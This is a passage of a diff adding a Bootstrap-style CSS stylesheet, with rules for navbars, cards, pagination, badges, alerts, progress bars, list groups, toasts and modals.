.dropdown-menu { + position: absolute; + } + .navbar-expand-lg .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-lg > .container, + .navbar-expand-lg > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-lg .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-lg .navbar-toggler { + display: none; + } +} + +@media (max-width: 1199.98px) { + .navbar-expand-xl > .container, + .navbar-expand-xl > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 1200px) { + .navbar-expand-xl { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-xl .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-xl .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-xl .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-xl > .container, + .navbar-expand-xl > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-xl .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-xl .navbar-toggler { + display: none; + } +} + +.navbar-expand { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; +} + +.navbar-expand > .container, +.navbar-expand > .container-fluid { + padding-right: 0; + padding-left: 0; +} + +.navbar-expand .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; +} + +.navbar-expand .navbar-nav .dropdown-menu { + position: absolute; +} + +.navbar-expand .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; +} + +.navbar-expand > .container, +.navbar-expand > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} + +.navbar-expand .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; +} + +.navbar-expand .navbar-toggler { + display: none; +} + +.navbar-light .navbar-brand { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-nav .nav-link { + color: rgba(0, 0, 0, 0.5); +} + +.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus { + color: rgba(0, 0, 0, 0.7); +} + +.navbar-light .navbar-nav .nav-link.disabled { + color: rgba(0, 0, 0, 0.3); +} + +.navbar-light .navbar-nav .show > .nav-link, +.navbar-light .navbar-nav .active > .nav-link, +.navbar-light .navbar-nav .nav-link.show, +.navbar-light .navbar-nav .nav-link.active { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-toggler { + color: rgba(0, 0, 0, 0.5); + border-color: rgba(0, 0, 0, 0.1); +} + +.navbar-light .navbar-toggler-icon { + background-image: url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); +} + +.navbar-light .navbar-text { + color: rgba(0, 0, 0, 0.5); +} + +.navbar-light .navbar-text a { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-dark .navbar-brand { + color: #fff; +} + +.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus { + color: #fff; +} + +.navbar-dark .navbar-nav .nav-link { + color: rgba(255, 255, 255, 0.5); +} + +.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus { + color: rgba(255, 255, 255, 0.75); +} + +.navbar-dark .navbar-nav .nav-link.disabled { + color: rgba(255, 255, 255, 0.25); +} + +.navbar-dark .navbar-nav .show > .nav-link, +.navbar-dark .navbar-nav .active > .nav-link, +.navbar-dark .navbar-nav .nav-link.show, +.navbar-dark .navbar-nav .nav-link.active { + color: #fff; +} + +.navbar-dark .navbar-toggler { + color: rgba(255, 255, 255, 0.5); + border-color: rgba(255, 255, 255, 0.1); +} + +.navbar-dark .navbar-toggler-icon { + background-image: url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); +} + +.navbar-dark .navbar-text { + color: rgba(255, 255, 255, 0.5); +} + +.navbar-dark .navbar-text a { + color: #fff; +} + +.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus { + color: #fff; +} + +.card { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + min-width: 0; + word-wrap: break-word; + background-color: #fff; + background-clip: border-box; + border: 1px solid rgba(0, 0, 0, 0.125); + border-radius: 0.25rem; +} + +.card > hr { + margin-right: 0; + margin-left: 0; +} + +.card > .list-group:first-child .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; +} + +.card > .list-group:last-child .list-group-item:last-child { + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; +} + +.card-body { + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1.25rem; +} + +.card-title { + margin-bottom: 0.75rem; +} + +.card-subtitle { + margin-top: -0.375rem; + margin-bottom: 0; +} + +.card-text:last-child { + margin-bottom: 0; +} + +.card-link:hover { + text-decoration: none; +} + +.card-link + .card-link { + margin-left: 1.25rem; +} + +.card-header { + padding: 0.75rem 1.25rem; + margin-bottom: 0; + background-color: rgba(0, 0, 0, 0.03); + border-bottom: 1px solid rgba(0, 0, 0, 0.125); +} + +.card-header:first-child { + border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0; +} + +.card-header + .list-group .list-group-item:first-child { + border-top: 0; +} + +.card-footer { + padding: 0.75rem 1.25rem; + background-color: rgba(0, 0, 0, 0.03); + border-top: 1px solid rgba(0, 0, 0, 0.125); +} + +.card-footer:last-child { + border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px); +} + +.card-header-tabs { + margin-right: -0.625rem; + margin-bottom: -0.75rem; + margin-left: -0.625rem; + border-bottom: 0; +} + +.card-header-pills { + margin-right: -0.625rem; + margin-left: -0.625rem; +} + +.card-img-overlay { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + padding: 1.25rem; +} + +.card-img { + width: 100%; + border-radius: calc(0.25rem - 1px); +} + +.card-img-top { + width: 100%; + border-top-left-radius: calc(0.25rem - 1px); + border-top-right-radius: calc(0.25rem - 1px); +} + +.card-img-bottom { + width: 100%; + border-bottom-right-radius: calc(0.25rem - 1px); + border-bottom-left-radius: calc(0.25rem - 1px); +} + +.card-deck { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; +} + +.card-deck .card { + margin-bottom: 15px; +} + +@media (min-width: 576px) { + .card-deck { + -ms-flex-flow: row wrap; + flex-flow: row wrap; + margin-right: -15px; + margin-left: -15px; + } + .card-deck .card { + display: -ms-flexbox; + display: flex; + -ms-flex: 1 0 0%; + flex: 1 0 0%; + -ms-flex-direction: column; + flex-direction: column; + margin-right: 15px; + margin-bottom: 0; + margin-left: 15px; + } +} + +.card-group { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; +} + +.card-group > .card { + margin-bottom: 15px; +} + +@media (min-width: 576px) { + .card-group { + -ms-flex-flow: row wrap; + flex-flow: row wrap; + } + .card-group > .card { + -ms-flex: 1 0 0%; + flex: 1 0 0%; + margin-bottom: 0; + } + .card-group > .card + .card { + margin-left: 0; + border-left: 0; + } + .card-group > .card:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; + } + .card-group > .card:not(:last-child) .card-img-top, + .card-group > .card:not(:last-child) .card-header { + border-top-right-radius: 0; + } + .card-group > .card:not(:last-child) .card-img-bottom, + .card-group > .card:not(:last-child) .card-footer { + border-bottom-right-radius: 0; + } + .card-group > .card:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; + } + .card-group > .card:not(:first-child) .card-img-top, + .card-group > .card:not(:first-child) .card-header { + border-top-left-radius: 0; + } + .card-group > .card:not(:first-child) .card-img-bottom, + .card-group > .card:not(:first-child) .card-footer { + border-bottom-left-radius: 0; + } +} + +.card-columns .card { + margin-bottom: 0.75rem; +} + +@media (min-width: 576px) { + .card-columns { + -webkit-column-count: 3; + -moz-column-count: 3; + column-count: 3; + -webkit-column-gap: 1.25rem; + -moz-column-gap: 1.25rem; + column-gap: 1.25rem; + orphans: 1; + widows: 1; + } + .card-columns .card { + display: inline-block; + width: 100%; + } +} + +.accordion > .card { + overflow: hidden; +} + +.accordion > .card:not(:first-of-type) .card-header:first-child { + border-radius: 0; +} + +.accordion > .card:not(:first-of-type):not(:last-of-type) { + border-bottom: 0; + border-radius: 0; +} + +.accordion > .card:first-of-type { + border-bottom: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} + +.accordion > .card:last-of-type { + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.accordion > .card .card-header { + margin-bottom: -1px; +} + +.breadcrumb { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding: 0.75rem 1rem; + margin-bottom: 1rem; + list-style: none; + background-color: #e9ecef; + border-radius: 0.25rem; +} + +.breadcrumb-item + .breadcrumb-item { + padding-left: 0.5rem; +} + +.breadcrumb-item + .breadcrumb-item::before { + display: inline-block; + padding-right: 0.5rem; + color: #6c757d; + content: "/"; +} + +.breadcrumb-item + .breadcrumb-item:hover::before { + text-decoration: underline; +} + +.breadcrumb-item + .breadcrumb-item:hover::before { + text-decoration: none; +} + +.breadcrumb-item.active { + color: #6c757d; +} + +.pagination { + display: -ms-flexbox; + display: flex; + padding-left: 0; + list-style: none; + border-radius: 0.25rem; +} + +.page-link { + position: relative; + display: block; + padding: 0.5rem 0.75rem; + margin-left: -1px; + line-height: 1.25; + color: #007bff; + background-color: #fff; + border: 1px solid #dee2e6; +} + +.page-link:hover { + z-index: 2; + color: #0056b3; + text-decoration: none; + background-color: #e9ecef; + border-color: #dee2e6; +} + +.page-link:focus { + z-index: 2; + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.page-item:first-child .page-link { + margin-left: 0; + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; +} + +.page-item:last-child .page-link { + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; +} + +.page-item.active .page-link { + z-index: 1; + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.page-item.disabled .page-link { + color: #6c757d; + pointer-events: none; + cursor: auto; + background-color: #fff; + border-color: #dee2e6; +} + +.pagination-lg .page-link { + padding: 0.75rem 1.5rem; + font-size: 1.25rem; + line-height: 1.5; +} + +.pagination-lg .page-item:first-child .page-link { + border-top-left-radius: 0.3rem; + border-bottom-left-radius: 0.3rem; +} + +.pagination-lg .page-item:last-child .page-link { + border-top-right-radius: 0.3rem; + border-bottom-right-radius: 0.3rem; +} + +.pagination-sm .page-link { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; +} + +.pagination-sm .page-item:first-child .page-link { + border-top-left-radius: 0.2rem; + border-bottom-left-radius: 0.2rem; +} + +.pagination-sm .page-item:last-child .page-link { + border-top-right-radius: 0.2rem; + border-bottom-right-radius: 0.2rem; +} + +.badge { + display: inline-block; + padding: 0.25em 0.4em; + font-size: 75%; + font-weight: 700; + line-height: 1; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: 0.25rem; + transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; +} + +@media (prefers-reduced-motion: reduce) { + .badge { + transition: none; + } +} + +a.badge:hover, a.badge:focus { + text-decoration: none; +} + +.badge:empty { + display: none; +} + +.btn .badge { + position: relative; + top: -1px; +} + +.badge-pill { + padding-right: 0.6em; + padding-left: 0.6em; + border-radius: 10rem; +} + +.badge-primary { + color: #fff; + background-color: #007bff; +} + +a.badge-primary:hover, a.badge-primary:focus { + color: #fff; + background-color: #0062cc; +} + +a.badge-primary:focus, a.badge-primary.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.badge-secondary { + color: #fff; + background-color: #6c757d; +} + +a.badge-secondary:hover, a.badge-secondary:focus { + color: #fff; + background-color: #545b62; +} + +a.badge-secondary:focus, a.badge-secondary.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.badge-success { + color: #fff; + background-color: #28a745; +} + +a.badge-success:hover, a.badge-success:focus { + color: #fff; + background-color: #1e7e34; +} + +a.badge-success:focus, a.badge-success.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.badge-info { + color: #fff; + background-color: #17a2b8; +} + +a.badge-info:hover, a.badge-info:focus { + color: #fff; + background-color: #117a8b; +} + +a.badge-info:focus, a.badge-info.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.badge-warning { + color: #212529; + background-color: #ffc107; +} + +a.badge-warning:hover, a.badge-warning:focus { + color: #212529; + background-color: #d39e00; +} + +a.badge-warning:focus, a.badge-warning.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.badge-danger { + color: #fff; + background-color: #dc3545; +} + +a.badge-danger:hover, a.badge-danger:focus { + color: #fff; + background-color: #bd2130; +} + +a.badge-danger:focus, a.badge-danger.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.badge-light { + color: #212529; + background-color: #f8f9fa; +} + +a.badge-light:hover, a.badge-light:focus { + color: #212529; + background-color: #dae0e5; +} + +a.badge-light:focus, a.badge-light.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.badge-dark { + color: #fff; + background-color: #343a40; +} + +a.badge-dark:hover, a.badge-dark:focus { + color: #fff; + background-color: #1d2124; +} + +a.badge-dark:focus, a.badge-dark.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.jumbotron { + padding: 2rem 1rem; + margin-bottom: 2rem; + background-color: #e9ecef; + border-radius: 0.3rem; +} + +@media (min-width: 576px) { + .jumbotron { + padding: 4rem 2rem; + } +} + +.jumbotron-fluid { + padding-right: 0; + padding-left: 0; + border-radius: 0; +} + +.alert { + position: relative; + padding: 0.75rem 1.25rem; + margin-bottom: 1rem; + border: 1px solid transparent; + border-radius: 0.25rem; +} + +.alert-heading { + color: inherit; +} + +.alert-link { + font-weight: 700; +} + +.alert-dismissible { + padding-right: 4rem; +} + +.alert-dismissible .close { + position: absolute; + top: 0; + right: 0; + padding: 0.75rem 1.25rem; + color: inherit; +} + +.alert-primary { + color: #004085; + background-color: #cce5ff; + border-color: #b8daff; +} + +.alert-primary hr { + border-top-color: #9fcdff; +} + +.alert-primary .alert-link { + color: #002752; +} + +.alert-secondary { + color: #383d41; + background-color: #e2e3e5; + border-color: #d6d8db; +} + +.alert-secondary hr { + border-top-color: #c8cbcf; +} + +.alert-secondary .alert-link { + color: #202326; +} + +.alert-success { + color: #155724; + background-color: #d4edda; + border-color: #c3e6cb; +} + +.alert-success hr { + border-top-color: #b1dfbb; +} + +.alert-success .alert-link { + color: #0b2e13; +} + +.alert-info { + color: #0c5460; + background-color: #d1ecf1; + border-color: #bee5eb; +} + +.alert-info hr { + border-top-color: #abdde5; +} + +.alert-info .alert-link { + color: #062c33; +} + +.alert-warning { + color: #856404; + background-color: #fff3cd; + border-color: #ffeeba; +} + +.alert-warning hr { + border-top-color: #ffe8a1; +} + +.alert-warning .alert-link { + color: #533f03; +} + +.alert-danger { + color: #721c24; + background-color: #f8d7da; + border-color: #f5c6cb; +} + +.alert-danger hr { + border-top-color: #f1b0b7; +} + +.alert-danger .alert-link { + color: #491217; +} + +.alert-light { + color: #818182; + background-color: #fefefe; + border-color: #fdfdfe; +} + +.alert-light hr { + border-top-color: #ececf6; +} + +.alert-light .alert-link { + color: #686868; +} + +.alert-dark { + color: #1b1e21; + background-color: #d6d8d9; + border-color: #c6c8ca; +} + +.alert-dark hr { + border-top-color: #b9bbbe; +} + +.alert-dark .alert-link { + color: #040505; +} + +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 1rem 0; + } + to { + background-position: 0 0; + } +} + +@keyframes progress-bar-stripes { + from { + background-position: 1rem 0; + } + to { + background-position: 0 0; + } +} + +.progress { + display: -ms-flexbox; + display: flex; + height: 1rem; + overflow: hidden; + font-size: 0.75rem; + background-color: #e9ecef; + border-radius: 0.25rem; +} + +.progress-bar { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-pack: center; + justify-content: center; + color: #fff; + text-align: center; + white-space: nowrap; + background-color: #007bff; + transition: width 0.6s ease; +} + +@media (prefers-reduced-motion: reduce) { + .progress-bar { + transition: none; + } +} + +.progress-bar-striped { + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-size: 1rem 1rem; +} + +.progress-bar-animated { + -webkit-animation: progress-bar-stripes 1s linear infinite; + animation: progress-bar-stripes 1s linear infinite; +} + +@media (prefers-reduced-motion: reduce) { + .progress-bar-animated { + -webkit-animation: none; + animation: none; + } +} + +.media { + display: -ms-flexbox; + display: flex; + -ms-flex-align: start; + align-items: flex-start; +} + +.media-body { + -ms-flex: 1; + flex: 1; +} + +.list-group { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0; +} + +.list-group-item-action { + width: 100%; + color: #495057; + text-align: inherit; +} + +.list-group-item-action:hover, .list-group-item-action:focus { + z-index: 1; + color: #495057; + text-decoration: none; + background-color: #f8f9fa; +} + +.list-group-item-action:active { + color: #212529; + background-color: #e9ecef; +} + +.list-group-item { + position: relative; + display: block; + padding: 0.75rem 1.25rem; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid rgba(0, 0, 0, 0.125); +} + +.list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; +} + +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; +} + +.list-group-item.disabled, .list-group-item:disabled { + color: #6c757d; + pointer-events: none; + background-color: #fff; +} + +.list-group-item.active { + z-index: 2; + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.list-group-horizontal { + -ms-flex-direction: row; + flex-direction: row; +} + +.list-group-horizontal .list-group-item { + margin-right: -1px; + margin-bottom: 0; +} + +.list-group-horizontal .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; + border-top-right-radius: 0; +} + +.list-group-horizontal .list-group-item:last-child { + margin-right: 0; + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0; +} + +@media (min-width: 576px) { + .list-group-horizontal-sm { + -ms-flex-direction: row; + flex-direction: row; + } + .list-group-horizontal-sm .list-group-item { + margin-right: -1px; + margin-bottom: 0; + } + .list-group-horizontal-sm .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; + border-top-right-radius: 0; + } + .list-group-horizontal-sm .list-group-item:last-child { + margin-right: 0; + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0; + } +} + +@media (min-width: 768px) { + .list-group-horizontal-md { + -ms-flex-direction: row; + flex-direction: row; + } + .list-group-horizontal-md .list-group-item { + margin-right: -1px; + margin-bottom: 0; + } + .list-group-horizontal-md .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; + border-top-right-radius: 0; + } + .list-group-horizontal-md .list-group-item:last-child { + margin-right: 0; + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0; + } +} + +@media (min-width: 992px) { + .list-group-horizontal-lg { + -ms-flex-direction: row; + flex-direction: row; + } + .list-group-horizontal-lg .list-group-item { + margin-right: -1px; + margin-bottom: 0; + } + .list-group-horizontal-lg .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; + border-top-right-radius: 0; + } + .list-group-horizontal-lg .list-group-item:last-child { + margin-right: 0; + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0; + } +} + +@media (min-width: 1200px) { + .list-group-horizontal-xl { + -ms-flex-direction: row; + flex-direction: row; + } + .list-group-horizontal-xl .list-group-item { + margin-right: -1px; + margin-bottom: 0; + } + .list-group-horizontal-xl .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; + border-top-right-radius: 0; + } + .list-group-horizontal-xl .list-group-item:last-child { + margin-right: 0; + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0; + } +} + +.list-group-flush .list-group-item { + border-right: 0; + border-left: 0; + border-radius: 0; +} + +.list-group-flush .list-group-item:last-child { + margin-bottom: -1px; +} + +.list-group-flush:first-child .list-group-item:first-child { + border-top: 0; +} + +.list-group-flush:last-child .list-group-item:last-child { + margin-bottom: 0; + border-bottom: 0; +} + +.list-group-item-primary { + color: #004085; + background-color: #b8daff; +} + +.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus { + color: #004085; + background-color: #9fcdff; +} + +.list-group-item-primary.list-group-item-action.active { + color: #fff; + background-color: #004085; + border-color: #004085; +} + +.list-group-item-secondary { + color: #383d41; + background-color: #d6d8db; +} + +.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus { + color: #383d41; + background-color: #c8cbcf; +} + +.list-group-item-secondary.list-group-item-action.active { + color: #fff; + background-color: #383d41; + border-color: #383d41; +} + +.list-group-item-success { + color: #155724; + background-color: #c3e6cb; +} + +.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus { + color: #155724; + background-color: #b1dfbb; +} + +.list-group-item-success.list-group-item-action.active { + color: #fff; + background-color: #155724; + border-color: #155724; +} + +.list-group-item-info { + color: #0c5460; + background-color: #bee5eb; +} + +.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus { + color: #0c5460; + background-color: #abdde5; +} + +.list-group-item-info.list-group-item-action.active { + color: #fff; + background-color: #0c5460; + border-color: #0c5460; +} + +.list-group-item-warning { + color: #856404; + background-color: #ffeeba; +} + +.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus { + color: #856404; + background-color: #ffe8a1; +} + +.list-group-item-warning.list-group-item-action.active { + color: #fff; + background-color: #856404; + border-color: #856404; +} + +.list-group-item-danger { + color: #721c24; + background-color: #f5c6cb; +} + +.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus { + color: #721c24; + background-color: #f1b0b7; +} + +.list-group-item-danger.list-group-item-action.active { + color: #fff; + background-color: #721c24; + border-color: #721c24; +} + +.list-group-item-light { + color: #818182; + background-color: #fdfdfe; +} + +.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus { + color: #818182; + background-color: #ececf6; +} + +.list-group-item-light.list-group-item-action.active { + color: #fff; + background-color: #818182; + border-color: #818182; +} + +.list-group-item-dark { + color: #1b1e21; + background-color: #c6c8ca; +} + +.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus { + color: #1b1e21; + background-color: #b9bbbe; +} + +.list-group-item-dark.list-group-item-action.active { + color: #fff; + background-color: #1b1e21; + border-color: #1b1e21; +} + +.close { + float: right; + font-size: 1.5rem; + font-weight: 700; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + opacity: .5; +} + +.close:hover { + color: #000; + text-decoration: none; +} + +.close:not(:disabled):not(.disabled):hover, .close:not(:disabled):not(.disabled):focus { + opacity: .75; +} + +button.close { + padding: 0; + background-color: transparent; + border: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} + +a.close.disabled { + pointer-events: none; +} + +.toast { + max-width: 350px; + overflow: hidden; + font-size: 0.875rem; + background-color: rgba(255, 255, 255, 0.85); + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.1); + box-shadow: 0 0.25rem 0.75rem rgba(0, 0, 0, 0.1); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + opacity: 0; + border-radius: 0.25rem; +} + +.toast:not(:last-child) { + margin-bottom: 0.75rem; +} + +.toast.showing { + opacity: 1; +} + +.toast.show { + display: block; + opacity: 1; +} + +.toast.hide { + display: none; +} + +.toast-header { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + padding: 0.25rem 0.75rem; + color: #6c757d; + background-color: rgba(255, 255, 255, 0.85); + background-clip: padding-box; + border-bottom: 1px solid rgba(0, 0, 0, 0.05); +} + +.toast-body { + padding: 0.75rem; +} + +.modal-open { + overflow: hidden; +} + +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} + +.modal { + position: fixed; + top: 0; + left: 0; + z-index: 1050; + display: none; + width: 100%; + height: 100%; + overflow: hidden; + outline: 0; +} + +.modal-dialog { + position: relative; + width: auto; + margin: 0.5rem; + pointer-events: none; +} + +.modal.fade .modal-dialog { + transition: -webkit-transform 0.3s ease-out; + transition: transform 0.3s ease-out; + transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out; + -webkit-transform: translate(0, -50px); + transform: translate(0, -50px); +} + +@media (prefers-reduced-motion: reduce) { + .modal.fade .modal-dialog { + transition: none; + } +} + +.modal.show .modal-dialog { + -webkit-transform: none; + transform: none; +} + +.modal-dialog-scrollable { + display: -ms-flexbox; + display: flex; + max-height: calc(100% - 1rem); +} + +.modal-dialog-scrollable .modal-content { + max-height: calc(100vh - 1rem); + overflow: hidden; +} + +.modal-dialog-scrollable .modal-header, +.modal-dialog-scrollable .modal-footer { + -ms-flex-negative: 0; + flex-shrink: 0; +} + +.modal-dialog-scrollable .modal-body { + overflow-y: auto; +} + +.modal-dialog-centered { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + min-height: calc(100% - 1rem); +} + +.modal-dialog-centered::before { + display: block; + height: calc(100vh - 1rem); + content: ""; +} + +.modal-dialog-centered.modal-dialog-scrollable { + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-pack: center; + justify-content: center; + height: 100%; +} + +.modal-dialog-centered.modal-dialog-scrollable .modal-content { + max-height: none; +} + +.modal-dialog-centered.modal-dialog-scrollable::before { + content: none; +} + +.modal-content { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + pointer-events: auto; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0.3rem; + outline: 0; +} + +.modal-backdrop { + position: fixed; + top: 0; + left: 0; + z-index: 1040; + width: 100vw; + height: 100vh; + background-color: #000; +} + +.modal-backdrop.fade { + opacity: 0; +} + +.modal-backdrop.show { + opacity: 0.5; +} + +.modal-header { + display: -ms-flexbox; + display: flex; + -ms-flex-align: start; + align-items: flex-start; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 1rem 1rem; + border-bottom: 1px solid #dee2e6; + border-top-left-radius: 0.3rem; + border-top-right-radius: 0.3rem; +} + +.modal-header .close { + padding: 1rem 1rem; + margin: -1rem -1rem -1rem auto; +} + +.modal-title { + margin-bottom: 0; + line-height: 1.5; +} + +.modal-body { + position: relative; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1rem; +} + +.modal-footer { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: end; + justify-content: flex-end; + padding: 1rem; + border-top: 1px solid #dee2e6; + border-bottom-right-radius: 0.3rem; + border-bottom-left-radius: 0.3rem; +} + +.modal-footer > :not(:first-child) { + margin-left: .25rem; +} + +.modal-footer > :not(:last-child) { + margin-right: .25rem; +} + +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} + +@media (min-width: 576px) { + .modal-dialog { + max-width: 500px; + margin: 1.75rem auto; + } + .modal-dialog-scrollable { + max-height: calc(100% - 3.5rem); + } + .modal-dialog-scrollable .modal-content { + max-height: calc(100vh - 3.5rem); + } + .modal-dialog-centered { + min-height: calc(100% - 3.5rem); + } + .modal-dialog-centered::before { + height: calc(100vh - 3.5rem); + } + .modal-sm { + max-width: 300px; + } +} + +@media (min-width: 992px) { + .modal-lg, + .modal-xl { + max-width: 800px; + } +} + +@media (min-width: 1200px) { + .modal-xl { + max-width: 1140px; + } +} + +.tooltip { + position: absolute; + z-index: 1070; + display: block; + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; + font-style: normal; + 